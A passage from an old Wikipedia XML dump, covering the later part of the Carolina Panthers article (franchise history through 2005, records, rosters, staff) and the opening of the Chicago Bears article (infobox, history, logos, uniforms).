Richardson's announcement created a buzz in the region, as politicians, businessmen, and citizens all joined together to show the NFL that a team could be supported in the area. United States [[Senator|Senators]] [[Jesse Helms]] of [[North Carolina]] and [[Ernest Hollings]] of [[South Carolina]] put aside their partisan differences to lobby NFL owners to support the expansion. Meanwhile, North Carolina Governor [[James G. Martin]] and South Carolina Governor [[Carroll A. Campbell, Jr.]] created a committee of citizens from North and South Carolina to help the cause. Preseason games were held in the region in 1989, 1990, and 1991; all of the games were sold out as part of the fans' efforts to show their support.

Also, in 1991 the [[Raleigh-Durham Skyhawks]] of the [[World League of American Football]] played professional football in North Carolina, without any success on the field, though.

In 1992, the NFL released the list of five areas open to a potential NFL team: [[Baltimore, Maryland]], [[St. Louis, Missouri]], [[Memphis, Tennessee]], [[Jacksonville, Florida]], and the Carolinas. After the vote was delayed because of a dispute between the players and the league, the race began again in 1993. In June of that year, Richardson Sports announced that they would finance the stadium through the sale of [[Permanent Seat Licenses]], club seats, and luxury boxes. In a stunning show of fan support, all seats were sold out by the end of the first day.

The feasabillity of the team was no longer a question, but it was still up to the league to decide where the team would go. On [[October 26]], [[1993]], the league announced that the owners had unanimously voted for the Carolinas to receive the 29th franchise, the first new NFL team since 1976. (Jacksonville was the other city.) Fans all over the region celebrated with fireworks. In a memorable moment during the expansion announcement conference, Richardson spoke directly into the camera to thank the 40,000 people who had purchased the PSLs and allowing the stadium to be built without a burden to the taxpayers.

===In the beginning===
[[Image:CarolinaPanthersAlt.png|150px|thumb|Carolina Panthers alternate logo]]
The Panthers signed [[Dom Capers]], former defensive coordinator for the [[Pittsburgh Steelers]], as head coach. During the 1995 [[expansion draft]], [[Rod Smith (defensive back)|Rod Smith]] was the first player selected by the Panthers. [[Greg Kragen]], [[Jack Trudeau]], and [[Mark Carrier]] were among the other players selected. In an interesting note, [[Bill Goldberg]] was picked up off the rosters of the [[Atlanta Falcons]], but made Panther history by being the first player cut by the Panthers; Goldberg would later go on to much greater fame as a [[professional wrestler]] for [[WCW]] and [[WWE]]. During the [[1995 NFL Draft]], the Panthers made their first significant addition (in terms of long-term contributions to the team) by drafting [[Penn State]] [[quarterback]] [[Kerry Collins]]. And in 1995, when the Panthers and [[Jacksonville Jaguars]] began building their team, they had the luxury of something the [[Tampa Bay Buccaneers]] and [[Seattle Seahawks]] did not have when they entered the league in 1976: [[free agent|free agency]]. The Panthers made excellent use of the tool, picking up [[wide receiver]] [[Don Beebe]], [[linebacker]] [[Sam Mills]], and [[placekicker]] [[John Kasay]]. [[As of 2005]], Kasay is the only remaining &quot;Original Panther&quot; from the inaugural season. The Panthers became the first expansion team to win their first game, winning the annual [[Pro Football Hall of Fame Game|Hall of Fame game]] against the fellow expansion Jacksonville Jaguars 20-14 on [[July 29]], [[1995]] (a game known as the &quot;Battle of the Big Cats&quot;, due to the similar nicknames of the franchises). The home games that first season were played at [[Clemson University]], as the stadium was still under construction. The Panthers won their first game against the [[New York Jets]] on [[October 15]], 1995, after Sam Mills returned an interception 36 yards for a touchdown. Later that year, the Panthers stunned the league by not only winning four consecutive games (an expansion team record), but defeating the defending [[Super Bowl]] champion [[San Francisco 49ers]], the first time an expansion team had beaten the reigning champs. The Panthers finished their season 7-9, more than doubling the previous record of a first year expansion team (and far surpassing the 0-14 record of the Tampa Bay Buccaneers in their inaugural season).

===Second year surprise===
In the 1996 Draft, the Panthers used their first pick on [[running back]] [[Tim Biakabutuka]], and their second pick on wide receiver [[Muhsin Muhammad]], two players who would contribute greatly to the Panthers' success that season (and in the case of Muhammad, for many seasons to come). During the off-season, they also picked up quarterback [[Steve Beuerlein]], [[tight end]] [[Wesley Walls]], and linebacker [[Kevin Greene]]. The second year proved even better than the first, as the players found a groove and rattled off a seven-game winning streak to end the season and took the top spot in the [[NFC West]]. They beat the [[Dallas Cowboys]] in the NFC Divisional Playoffs before falling to the eventual [[Super Bowl]] champion [[Green Bay Packers]] in the [[NFC Championship]]. In an interesting note, their fellow second-year expansion team, the [[Jacksonville Jaguars]], played in the [[AFC Championship]] against the [[New England Patriots]]; the NFL nearly had an all-expansion Super Bowl. Panthers fans took it in stride, however, as the team had made massive improvement from the year before, and the team was represented at the [[Pro Bowl]] by eight players, including Collins, Kasay, Greene, Mills, Walls, [[Michael Bates (NFL)|Michael Bates]], [[Eric Davis (NFL)|Eric Davis]], and [[Lamar Lathon]].

===Dark times (1997-2000)===
The Panthers fully expected to return to the NFC title game in 1997, but a 2-4 start quickly began to cloud the minds of Carolina fans. Meanwhile, the Panthers became known as much for their problems off the field as they did on. Wide receiver [[Rae Carruth]], taken with their first pick of the 1997 draft, was arrested in 1999 for murdering his pregnant girlfriend. He was later convicted, and is serving his sentence in [[Raleigh, North Carolina]]. Star quarterback Kerry Collins was dealing with alcoholism, and was accused of making racial comments about teammates (Noteably Muhsin Muhammad). Collins was later released following the 1998 season. Former running back [[Fred Lane]] was shot and killed by his wife during a domestic dispute in 2000.
All the while, the Panthers played mediocre football, and [[George Seifert]] took over the team for the 1999 season.  In his first year as head coach, he turned them into an 8-8 team, a vast improvement from the 4-12 record the previous year. Upon a number of huge signings, including [[Reggie White]], the team seemed poised to break deep within the playoffs they had missed the previous year, but injuries and inconsistent offensive play marred the team into a 7-9 season.  Unfortunately, Seifert would go on to set a record, and a dubious one at that, in 2001.

===The Season From Hell: 1-15 ===
The Panthers had finished 7-9 in 2000, and were looking to return to the form they had in 1996, when they were one game away from the Super Bowl. And the 2001 season looked promising, especially after defeating the [[Minnesota Vikings]] in the first game of the season, when Minnesota was considered a high-quality team. First-year quarterback and [[Heisman Trophy]] winner [[Chris Weinke]] looked confident, and rookie wide receiver [[Steve Smith (NFL)|Steve Smith]] was a solid addition to the wide receiving corps, which already boasted Pro Bowler Muhsin Muhammad. However, the offense quickly fell apart, Seifert lost control of his players, and at the end of the season, the Panthers had lost 15 consecutive games - an NFL record for the worst ending to a season ever. Seifert was fired, and former [[New York Giants]] defensive coordinator [[John Fox (NFL)|John Fox]] was hired as the team's third head coach.  Fox's hiring would prove to be one of the better moves the Panthers franchise has ever made.

===Turnaround===
Fox was known for defensive discipline, and it would be needed to improve a team that had finished in the bottom of the defensive rankings the previous year. Fox looked to the 2002 draft to begin revamping the franchise, and it started with the second overall pick of the draft: [[Julius Peppers]]. Peppers was a dominating defensive end at the [[University of North Carolina at Chapel Hill|University of North Carolina]], and he was a solid fit with Fox's defensive plan. The Panthers also picked up linebacker [[Will Witherspoon]] and running back [[DeShaun Foster]] in the draft. Peppers combined with fellow defensive end [[Mike Rucker]] and [[defensive tackle|defensive tackles]] [[Brentson Buckner]] and [[Kris Jenkins]] to form what many football experts called the best front four defensive line in football. Meanwhile, [[Mike Minter]] anchored the secondary, while Witherspoon (affectionately called &quot;Spoon&quot; by fans &amp; teammates) and [[Mark_Fields_%28football%29|Mark Fields]] led the linebacker corps. Fox's defense-first philosophy worked with the team, as they turned around to a 7-9 record, and posted the second-best overall defense in the league, including allowing a league-minimum 3.69 yards per rushing attempt.

===The &quot;Cardiac Cats&quot; are Super Bowl bound===
The 2003 season started with hope. The Panthers had drafted several young prospects, including [[Ricky Manning, Jr.]] out of [[UCLA]] at [[cornerback]], and [[Jordan Gross]] at [[offensive team|offensive tackle]]. In addition, quarterback [[Jake Delhomme]], running back [[Stephen Davis]], and wide receiver [[Ricky Proehl]] were signed in the off-season, making additions to an offense that needed to complement a top-ranked defense. The team was not without tragedy, however, as it was revealed that former linebacker and coach Sam Mills was diagnosed with [[intestinal cancer]]; additionally, linebacker Mark Fields was diagnosed with [[Hodgkin's Disease]]. The team used their struggle as inspiration, and started the season 5-0 on their way to a 11-5 finish. In the playoffs, they easily defeated the Cowboys in the Wild-card game before facing the [[St. Louis Rams]] in the Divisional playoff game in the [[Edward Jones Dome]]. Carolina had an 11-point lead in the last 3 minutes of play, but a touchdown from [[Marshall Faulk]], a successful [[two point conversion]], and an [[onside kick]] that led to a [[field goal]] tied the game and sent it to [[overtime]]. Both [[John Kasay]] and [[Jeff Wilkins]] missed potential game-winning kicks in the first overtime, and Carolina had the ball at the start of the second overtime. In the first play of 2nd OT, however, Jake Delhomme hit Steve Smith with a 69-yard touchdown pass to win the game and send the Panthers into the NFC Championship against the [[Philadelphia Eagles]]. The Eagles, led by [[Donovan McNabb]], were in the NFC title match for the 3rd year in a row, but had lost the previous two years. The Panthers made it three in a row for Philadelphia, as they shut down the Eagles offense and, with a 14-3 victory, headed to their first Super Bowl, against the New England Patriots. [[Super Bowl XXXVIII]] may have been remembered more for the [[Super Bowl XXXVIII halftime show controversy|Super Bowl XXXVIII Halftime Show]] with [[Janet Jackson]]'s &quot;[[wardrobe malfunction]]&quot;, but football fans will agree that the game was one of the best played games in Super Bowl history. The first quarter was scoreless, and neither team scored until near the end of the first half. However, 24 points were scored in the last 5 minutes of the first half, and the score going into halftime was 14-10 New England. The third quarter was as scoreless as the first, and it wasn't until late in the game that things heated up once again. The teams traded leads, and Carolina tied the game with a touchdown pass to [[Ricky Proehl]] with 1:08 left in regulation, opening the possibility to the first overtime game in Super Bowl history. However, John Kasay's kickoff went out of bounds, giving the Patriots the ball on their own 40-yard line. [[Adam Vinatieri]], who had won [[Super Bowl XXXVI]] two years earlier on a last-second field goal, repeated his heroics, connecting on a 41-yarder with four seconds left, even though he had already missed two field goals in the game.  This gave the Patriots their second Super Bowl win in three years. The multiple close games, won either in overtime or with a slim margin, gave way to a new nickname for the Panthers: the '''&quot;Cardiac Cats&quot;'''.

===The injury bug===
The experts all picked the Panthers to repeat their 2003 season success in 2004. Having selected cornerback [[Chris Gamble]] and wide receiver [[Keary Colbert]] with their top two picks in the 2004 draft, and not having lost any core players from their Super Bowl run, the team looked ready for their 10th Anniversary season. In addition, Mark Fields, who had missed the previous season with Hodgkin's disease, returned and was ready to go. But the team suffered major injuries early on, as Steve Smith broke his leg in the season opener against Green Bay, Stephen Davis suffered a knee injury before the second game of the season, and Kris Jenkins had shoulder problems that benched him for the season, the Panthers had problems early on. In fact, the Panthers had 14 players on injured reserve, including their top ''four'' running backs, more than any other team. This led to a 1-7 start, and people began wondering if they would repeat the 1-15 season of 2001. However, backup fullback [[Nick Goings]] stepped up to the challenge with five 100-yd rushing games, Keary Colbert played better than most rookies thrown into the #2 receiver spot, and the defense held together despite the injuries to help the team win 6 of their last 8 games, and the Panthers barely missed the playoffs after losing a close game to [[New Orleans Saints|New Orleans]] in the season finale.

In addition, the Panthers celebrated the 10th anniversary of their franchise by, among other things, naming a 10th Anniversary All-Time Team ([[Carolina_Panthers#10-Year_Anniversary_Team|listed below]]).  Of interesting note is that, with the exception of tight end [[Wesley Walls]], every offensive starter was on the team during their Super Bowl run of 2003.  However, the only defensive players to make the anniversary team that played in the Super Bowl were the front four ([[Julius Peppers|Peppers]], [[Mike Rucker|Rucker]], [[Kris Jenkins|Jenkins]] &amp; [[Brentson Buckner|Buckner]]), linebacker [[Dan Morgan]], and safety [[Mike Minter]].  Naturally, kicker [[John Kasay]] made the team, as he has been the only kicker for practically the franchise's entire existence, and Pro Bowl punter [[Todd Sauerbrun]] made the squad as well.

===2005 season===
Before the 2005 season even began, the Panthers were once again plagued with off-field troubles. First, in March, punter [[Todd Sauerbrun]], center [[Jeff Mitchell]], and former offensive tackle [[Todd Steussie]] were linked to using steroids on a ''[[60 Minutes]]'' report. Then in April, linebacker coach Sam Mills succumbed to his battle with intestinal cancer. And it was revealed that Mark Fields, who has Hodgkin's, would miss the 2005 season as he did the 2003 season while he goes for treatment.   Fields was awarded the ESPN &quot;Best Comeback Athlete&quot; award at the July 2005 [[ESPY Awards]].  Panther fans looked forward to repeating their Super Bowl run with a team added to by [[Thomas Davis (NFL)|Thomas Davis]] and [[Eric Shelton]].  Sports Illustrated picked the Carolina Panthers to be Super Bowl favorites over the Indianapolis Colts in the preseason picks, with Jake Delhomme gracing the cover of the magazine just before the season began.

Despite a home-opening loss to the [[New Orleans Saints]] 23-20 on an inspirational field goal by [[John Carney]], and heightened by national feelings of sympathy for the homeless New Orleans Saints - displaced by Hurricane Katrina, the Panthers got revenge against the two-time defending champion [[New England Patriots]] for the loss in [[Super Bowl XXXVIII]] with a final score of 27-17.  Despite going on the road and losing a close game to the [[Miami Dolphins]] 27-24, the Panthers managed to get a six-game winning streak going.  First, they won at home on [[Monday Night Football]] against the [[Green Bay Packers]] 32-29.  Then, they squeaked out victories in their next two games, on the road against the [[Arizona Cardinals]] (24-20) and the [[Detroit Lions]] (21-20).  Coming off of their Week 7 Bye, the Panthers won their home game against the [[Minnesota Vikings]] 38-13.  During that game, [[Steve Smith (NFL)|Steve Smith]], who had already emerged as one of the league's best wide receivers, had a real breakthrough.  He caught 11 passes for 201 yards and 1 touchdown, with his longest reception of the game being 69 yards.  A week later, the Panthers won against the [[Tampa Bay Buccaneers]] on the road with a final score of 34-14.  Then, they won at home against the hapless [[New York Jets]] 30-3.  Their winning streak came to an end at the hands of the [[Chicago Bears]]. The #1 defense held the Panthers to just three points, as they lost 13-3.  A week later, they travled to [[Ralph Wilson Stadium]] to play against the [[Buffalo Bills]].  For the most of the game, they were held in check by the Bills' defense, as they were held to just three field goals.  In the fourth quarter, the Panthers rallied and got a 13-9 win, thanks to a three-yard TD pass from [[Jake Delhomme]] to TE [[Michael Gaines]].  Then, they would go home and win against their division rival, the [[Atlanta Falcons]] 24-6.  Unfourtunately, the Bucs would come to town a week later and get revenge with a final of 20-10.  Despite going to LSU's [[Tiger Stadium]] and winning against the Saints 27-10, they would lose a close game to the [[Dallas Cowboys]] 24-20.  

After losing to the Cowboys in the season's penultimate game, the Panthers needed a victory to secure a spot in the 2005 playoffs.  They responded with a dominating [[New Years Day]] performance at the [[Georgia Dome]], a 44-11 victory over the Falcons, making the score the largest margin of victory in franchise history.  This was the first time since 1997 that the Panthers were able to beat the Falcons in the Georgia Dome.  With that victory, the Panthers secured themselves the NFC's #5 seed.  The Panthers began their post-season play on Sunday [[January 8]], [[2006]] at [[Giants Stadium]] against the [[New York Giants]].  After both sides failed to score in the first quarter, the trifecta of [[Jake Delhomme]], [[DeShaun Foster]], and [[Steve Smith (NFL)|Steve Smith]] showed dominance as they shut-out the Giants 23-0.  Carolina's coach, John Fox, used to be the defensive coordinator for the Giants when they went to the Super Bowl earlier in the decade.  New York was the nation's number one television market, and the shut out in the playoffs was significant.

Their next opponent was the [[Chicago Bears]], home to the nation's third largest television market, who started off the week by reminding the Panthers about their regular season victory over them.  The Panthers responded with a victory, beating the Bears at [[Soldier Field]] with a final score of 29-21.  Unaffected by the major media hype of the Bears' defense, the Panthers led throughout starting with an incredible touchdown reception by Steve Smith on the second play from scrimmage.  With that victory, the Panthers advanced to the [[NFC Championship Game]] for the third time in the franchise's 11-year history. They played against the [[Seattle Seahawks]] for the NFC Championship title, but mounting injuries and having to play on the road for the fourth straight week took its toll and the Panthers lost 34-14.

===Fight song===
Many of the legendary NFL football teams have fight songs.  The New Orleans Saints use ''When the Saints Go Marching In;'' the Green Bay Packers have ''Go, You Packers, Go!''; the Chicago Bears sing ''Bear Down, Chicago Bears;'' and the Washington Redskins have ''Hail to the Redskins;'' to name just a few.  When the Panthers started in 1995, fans would sing the official ''Carolina Panther Fight Song'' every time the team would score.   As the first season was played at Clemson, many fans felt that the song was reminiscent of the collegiate atmosphere those games had.

The fight song only lasted a few years before being officially retired.  Officials with the Panthers organization said that they received a large number of fan complaints regarding the fight song.  As of 2005, the team does not have an official song.

There has been an unofficial Panthers song recorded by the Charlotte hip-hop group [[Q.C. Riders]] that proved somewhat popular during the team's first Super Bowl run. Ted Nugent's &quot;Cat Scratch Fever&quot; is an often-played song at home games at Bank of America stadium.

===Season-by-season records===
{{Start NFL SBS|#0088D4|#FFFFFF}}
|-
| 1995 || 7 || 9 || 0 || 4th NFC West || --
|-
| 1996 || 12 || 4 || 0 || 1st NFC West || Lost [[NFL playoffs, 1996-97|Conference Championship]] ([[Green Bay Packers|Packers]])
|-
| 1997 || 7 || 9 || 0 || 2nd NFC West || --
|-
| 1998 || 4 || 12 || 0 || 4th NFC West || --
|-
| 1999 || 8 || 8 || 0 || 2nd NFC West || --
|-
| 2000 || 7 || 9 || 0 || 3rd NFC West || --
|-
| 2001 || 1 || 15 || 0 || 5th NFC West || --
|-
| 2002 || 7 || 9 || 0 || 4th NFC South || --
|-
| 2003 || 11 || 5 || 0 || 1st NFC South || Lost [[Super Bowl XXXVIII]] ([[New England Patriots|Patriots]])
|-
| 2004 || 7 || 9 || 0 || 3rd NFC South || --
|-
| 2005 || 11 || 5 || 0 || 2nd NFC South ||Lost [[NFL playoffs, 2005-06|Conference Championship]] ([[Seattle Seahawks|Seahawks]])
{{end box}}
^So far, at the end of the [[2005 NFL season]], the Panthers All-Time season record is 88-97-0 (including Playoffs).

==Players of note==
===Current players===
{{Carolina Panthers roster}}

===[[Pro Football Hall of Fame]]rs===
*[[Reggie White]]

===Retired numbers===
(&quot;Hall of Honor&quot;)

* [[Sam Mills]] - #51 retired at the beginning of the [[2005 NFL season]]
* [[Mike McCormack]] - Executive Manager, General Manager &amp; Consultant
* PSL Owners

===Not to be forgotten===
* [[Steve Beuerlein]], QB
* [[Blake Brockermeyer]], LT
* [[Brentson Buckner]], DT
* [[Kerry Collins]], QB
* [[Stephen Davis]], RB
* [[Kevin Greene]], LB
* [[Lamar Lathon]], LB
* [[Anthony Johnson]], RB
* [[Mark Carrier]], WR
* [[Rodney Peete]], QB
* [[Muhsin Muhammad]], WR (a.k.a. Moose)
* [[Tyrone Poole]], CB
* [[Todd Sauerbrun]], P
* [[Rod Smart]], RB/KR
* [[Esera Tuaolo]], NT
* [[Wesley Walls]], TE
* [[Reggie White]], DL
* [[Dom Capers]] (coach)
* [[George Seifert]] (coach)

===10-Year Anniversary Team===
:''Source: [http://www.panthers.com/team/hist-10anniversary.jsp 10 Year Anniversary], Panthers.com (URL last accessed February 27, 2006)''
====Offense====
* Quarterback - [[Jake Delhomme]]
* Running Back - [[Stephen Davis]]
* Fullback - [[Brad Hoover]]
* Wide Receiver - [[Muhsin Muhammad]]
* Wide Receiver - [[Steve Smith (NFL)|Steve Smith]]
* Center - [[Jeff Mitchell]]
* Tackle - [[Jordan Gross]]
* Tackle - [[Todd Steussie]]
* Guard - [[Kevin Donnalley]]
* Guard - [[Jeno James]]
* Tight End - [[Wesley Walls]]
====Defense====
* Defensive End - [[Julius Peppers]]
* Defensive End - [[Mike Rucker]]
* Defensive Tackle - [[Brentson Buckner]]
* Defensive Tackle - [[Kris Jenkins]]
* Linebacker - [[Kevin Greene]]
* Linebacker - [[Sam Mills]]
* Linebacker - [[Dan Morgan]]
* Cornerback - [[Eric Davis (NFL)|Eric Davis]]
* Cornerback - [[Tyrone Poole]]
* Safety - [[Chad Cota]]
* Safety - [[Mike Minter]]
====Special Teams====
* Placekicker - [[John Kasay]]
* Punter - [[Todd Sauerbrun]]
* Kick/punt Returner - [[Michael Bates (NFL)|Michael Bates]]

==Head Coaches==
*[[Dom Capers]] (1995-1998)
*[[George Seifert]] (1999-2001)
*[[John Fox (NFL)|John Fox]] (2002-present)

===Current Staff===
*Head Coach - [[John Fox (NFL)|John Fox]]
*Offensive Coordinator - [[Dan Henning]]
*Defensive Coordinator - [[Mike Trgovac]]
*Special Teams Coach - [[Danny Crossman]]
*Quarterbacks Coach - [[Mike McCoy]]
*Running Backs Coach - [[Jim Skipper]]
*Wide Receivers Coach - [[Richard Williamson (football coach)|Richard Williamson]]
*Tight Ends Coach - [[Dave Magazu]]
*Offensive Line Coach - [[Mike Maser]]
*Defensive Line Coach - [[Sal Sunseri]]
*Linebackers Coach - [[Ken Flajole]]
*Defensive Backs Coach - [[Rod Perry]]
*Strength and Conditioning - [[Jerry Simmons]]

==External links==
*[http://www.panthers.com/ Carolina Panthers official web site]
*[http://thisboardrocks.com/forum/forumdisplay.php?f=19 Panthers Fans forum]
*[http://www.pantherfrenzy.com/ Panthers Frenzy Message Board]
*[http://sports.groups.yahoo.com/group/carolinapanthersfanclub/ Carolina Panthers Fan Club (on Yahoo)]: established in 1998, the oldest online Carolina Panthers fan club
*[http://www.panthersfanz.com/ The Panthers Fans Forum on the Net]
*[http://panthershuddle.com/phpportal/ Panthers Huddle fan site]
*[http://www.dcpanthersfans.com/ Washington, D.C. Area Panthers Fans]
*[http://www.sportsecyclopedia.com/nfl/carolina/panthers.html Sports E-Cyclopedia.com]

{{NFL}}

[[Category:Carolina Panthers| ]]
[[Category:Charlotte, North Carolina]]
[[Category:National Football League teams]]
[[Category:1995 establishments]]

[[de:Carolina Panthers]]
[[fr:Panthers de la Caroline]]
[[it:Carolina Panthers]]
[[ja:カロライナ・パンサーズ]]
[[pt:Carolina Panthers]]
[[sv:Carolina Panthers]]</text>
    </revision>
  </page>
  <page>
    <title>Chicago Bears</title>
    <id>6611</id>
    <revision>
      <id>41918073</id>
      <timestamp>2006-03-02T16:40:23Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <minor />
      <comment>/* Footnotes */ take out white-space, fix footnote linking</comment>
      <text xml:space="preserve">{{NFL team | name = Chicago Bears
| logo = ChicagoBears_100.png
| founded = 1919
| city = Chicago, Illinois
| colors = Navy Blue, Orange and White
| coach = [[Lovie Smith]]
| owner = McCaskey Family 
| general manager = [[Jerry Angelo]]
| mascot = [[Staley Da Bear]]
| song = [[Bear Down, Chicago Bears]]
| nicknames = Da Bears, The [[Monsters of the Midway]]
| stations = [[WBBM (AM)|WBBM (780 AM)]]
| announcers = Jeff Joniak, [[Tom Thayer]] and Zach Zaidman
| hist_yr = 1922
| hist_misc =
* Decatur Staleys (1919-1920)
* Chicago Staleys (1921)
| affiliate_old =
Independent (1919)&lt;br&gt;
| NFL_start_yr = 1920
| division_hist =
*Western Division (1933-1949)
*National Conference (1950-1952)
*Western Conference (1953-1969)
**Central Division (1967-1969)
*'''[[National Football Conference]] (1970-present)'''
**[[NFC Central]] (1970-2001)
**'''[[NFC North]] (2002-present)'''
| no_league_champs = 9
| no_sb_champs = 1
| no_conf_champs = 3
| no_div_champs = 16
| league_champs =
*'''[[List of NFL champions|NFL Championships]] (8)'''&lt;br&gt;1921, 1932, 1933, 1940, 1941, 1943, 1946, 1963
| sb_champs = 1985&amp;nbsp;([[Super Bowl XX|XX]])
| conf_champs =
*'''NFL Western:''' 1956, 1963
*'''NFC:''' 1985
| div_champs =
*'''NFL West:''' 1933, 1934, 1937, 1940, 1941, 1942, 1943, 1946
*'''NFC Central:''' 1984, 1985, 1986, 1987, 1988, 1990, 2001
*'''NFC North:''' 2005
| stadium_years =
*[[Staley Field]] (1919-1920)
*[[Wrigley Field]] (1921-1970)
*[[Soldier Field|Soldier Field (I)]] (1971-2001)
*[[Memorial Stadium (Champaign)]] (2002)
*'''[[Soldier Field|Soldier Field (II)]] (2003-present)'''
}}

The '''Chicago Bears''' are a professional [[American football]] team based in [[Chicago, Illinois]]. They currently belong to the [[NFC North|Northern Division]] of the [[National Football Conference]] (NFC) in the [[National Football League]] (NFL).

Originally called the '''Decatur Staleys''', the team was established by the A.E. Staley Company of [[Decatur, Illinois]] in 1919. One year later, [[George Halas]] took over the team and it became a charter member of the NFL. The team relocated to Chicago in 1921, where it was called the '''Chicago Staleys''' before being renamed the Bears in 1922.

The Bears have won 9 total league titles (trailing only the [[Green Bay Packers]], who have 12), including 8 [[List of NFL champions|NFL Championships]] and [[Super Bowl XX]]. The Bears have the most enshrinees (26 members) in the [[Pro Football Hall of Fame]].  The team also has a fierce rivalry with the [[Green Bay Packers]], which is the longest rivalry in the [[NFL]] with over 170 meetings between the two clubs.

Since 1971, the team has played its home games at [[Soldier Field]] in [[Chicago, Illinois]].  The stadium is located right next to [[Lake Michigan]] and was recently remodeled to resemble the other newer stadiums being built around the league.

==Franchise history==
&lt;!-- Note: This is just a summary, please do not add too much detail; the main article is probably best for detailed additions --&gt;{{details|History of the Chicago Bears}}

Since becoming a charter member of the league in [[1920 NFL season|1920]], the Bears have played in over 1,000 games. Through the [[2005 NFL season|2005 season]], they led the NFL in overall franchise wins with 671 and have an overall record of 671-495-42 (going 657-479-42 during the regular season and 14-16 in the playoffs).

They were founded in 1919 by the A.E. Staley Company in [[Decatur, Illinois]] as the Decatur Staleys, originally as the company team, a typical start for several of the classic NFL franchises. Staley hired [[George Halas]] and Edward &quot;Dutch&quot; Sternaman in 1920 to run the team and turned control of the team over to them in 1921.

However, official team and league records call [[George Halas]] the founder as he took over the team in 1920 when it became a charter member of the NFL. The team relocated to Chicago in 1921, where it was called the Chicago Staleys under an agreement that was reached by Halas and Sternaman with Staley.  At the time when the franchise moved to Chicago, Halas purchased the rights for $100.

Halas liked the bright orange-and-blue colors of his alma mater, the [[University of Illinois at Urbana-Champaign|University of Illinois]], and the Bears adopted those colors as their own, albeit in a darker shade of each (the blue is a Navy Blue, and the orange is [[Pantone]] 1665, similar to burnt orange). As with several early NFL franchises, the Bears derived their nickname from that of their landlords, in this case the [[Chicago Cubs]].

The Bears's rivalry with the [[Green Bay Packers]] is one of the oldest and fiercest in professional sports, dating back to 1921. In one infamous incident in 1921, Halas got the Packers expelled from the league in order to prevent them signing a particular player, and then graciously got them re-admitted after the Bears had closed the deal with that player. In the 1985 season, Coach [[Mike Ditka]] used 350-plus pound lineman [[William Perry (football)|&quot;Refrigerator&quot; Perry]] as a truly &quot;wide&quot; receiver in a touchdown play at [[Lambeau Field]], flagrantly taunting the Packers. The Packers have also one-upped the Bears from time to time over the years, such as the &quot;[[Instant Replay]] Loss&quot; game of 1989.{{ref|bear-pack}}

The Bears were responsible for triggering the NFL's long-standing rule that a player could not be signed until his senior class had graduated. The NFL took that action as a consequence of the Bears' aggressive signing of famous U of I player [[Red Grange]], within a day after his final game as a collegian.{{ref|grange}}

The Bears became a dominant team in the early 1940s, reaching the NFL Championship Game 5 times during a 7 season span, and winning 4 of them. The team acquired the [[University of Chicago]]'s discarded nickname &quot;Monsters of the Midway&quot; as well as a newly-penned theme song that declared them &quot;The Pride and Joy of Illinois&quot;. One famous victory during that period was their 73-0 victory over the ''favored'' [[Washington Redskins]] at [[Griffith Stadium]] in the [[NFL Championship Game, 1940|1940 NFL Championship Game]]. That score is still an NFL record for lopsided results.{{ref|1940}}

The Bears declined in the late 1940's and continued to be on a down trend throughout the 1950's.  The team did rebound in 1963 to capture their 8th NFL Championship under Halas.  The late 1960's and early 1970's gave way to notable players like [[Dick Butkus]], [[Gale Sayers]], and the tragic story of [[Brian Piccolo]].

After his partner Dutch Sternaman left the organization, Halas maintained control of the Bears until his death in 1983.  Halas also coached the team off-and-on for forty seasons, an NFL record. For the most part, the Bears have stayed in the Halas family. The team is currently owned by Halas' daughter Virginia McCaskey and has been run on a day-to-day basis since 1999 by President and CEO [[Ted Phillips]].

The Bears have won a total of 9 league championships, including [[Super Bowl XX]] after the 1985 season in which they dominated the NFL with their then-revolutionary [[46 defense]] and a cast of characters that recorded the novelty rap song &quot;[[Super Bowl Shuffle|The Super Bowl Shuffle]]&quot;. The season was notable in that the Bears had only one loss, the &quot;unlucky 13th&quot; game of the season, a Monday night affair in which they were defeated by the [[Miami Dolphins]]. At the time, much was made of the fact that the Dolphins are the only franchise in history (through the 2005 season) to have an undefeated season and post-season. The Dolphins came close to setting up a rematch in the [[Super Bowl]], but lost to the [[New England Patriots]] in the AFC title game. Ironically enough, &quot;The Super Bowl Shuffle&quot; was videotaped the next day after that Monday night loss.

Since the 1985 Championship season, the Bears have been on a downward slide.  Since 1992, the Bears have made the playoffs only three times--winning only one game.  They have been defeated at home in the playoffs twice in the new millennium.  The Bears have not played in the [[NFC Championship]] Game since [[NFL playoffs, 1987-88|1988]], when the [[San Francisco 49ers]] blasted the Bears 28-3 at [[Soldier Field]].&lt;!-- Note: This is just a summary, please do not add too much detail, especially for the 2005 season and beyond; the article &quot;Chicago Bears history&quot; is probably best for detailed additions --&gt;

==Logo history==
[[Image:ChicagoBears1962.png|right|thumb|Bears Logo: 1962-1974]]
[[Image:ChicagoBears_100.png|left|thumb|The current Bears logo since 1974]]
Throughout the team history, the Chicago Bears have had a few official team logos.  The first was introduced in the early 1950's as a black bear with a football.  The team kept this until 1962, when the Bears trademark 'C' logo was first used by the team.{{ref|bear-logo}} 

The change in logo was due to the addition of a logo on the helmets, which pro football teams started adding in the late 1950's early 1960's. Unlike some NFL franchises that have had many different looks over time, the Bears have kept the wishbone 'C' for over 40 years.  

In 1974, the team decided to keep the same white 'C' logo but to change to color of it from white to orange with a white trim.  The current verison of the logo which is the orange wishbone C has been around since 1974.  

==Uniforms/Colors==
[[Image:Chicago92.gif|right|thumb|The traditional &quot;Home&quot; and &quot;Away&quot; uniform kits]]
'''Current Uniform Colors:'''
*'''Home:'''  ''Navy blue jerseys with orange* trim, and white pants''  
*'''Away:'''  ''White jerseys, navy blue pants'' 
*'''Alternate:''' ''Orange jerseys, white pants''
*'''Helmet design:'''  ''Navy blue, with an orange* &quot;C&quot;''
:&lt;small&gt;*George Halas, a [[University of Illinois]] [[alumnus]], is credited with bringing his [[alma mater]]'s colors to the Chicago Bears. The team's navy blue and [[Pantone]] 1665 (similar to burnt orange) are shades of the blue and orange of the [[Fighting Illini]].&lt;/small&gt;

In the 1930s, the Chicago Bears' team uniform underwent some substantial alterations. After many subtle and not-so-subtle changes, by 1933 the Bears donned all-orange jerseys with navy numbers and matching black [[helmet]]s. In 1936, they modified this design into &quot;an early version of psychodelia&quot; by adding three orange stripes to their helmets, changing the color of the jerseys from orange to white, complementing the new white jerseys with 14 navy and orange alternating stripes on the sleeves, and introducing socks with a similar striped pattern extending from ankle to knee. Mercifully, this design lasted only one season{{ref|uniforms}}. 

[[Image:NFLClock-Bears-Large.jpg|thumb|right|Chicago Bears Uniform History (1920-2005)]]
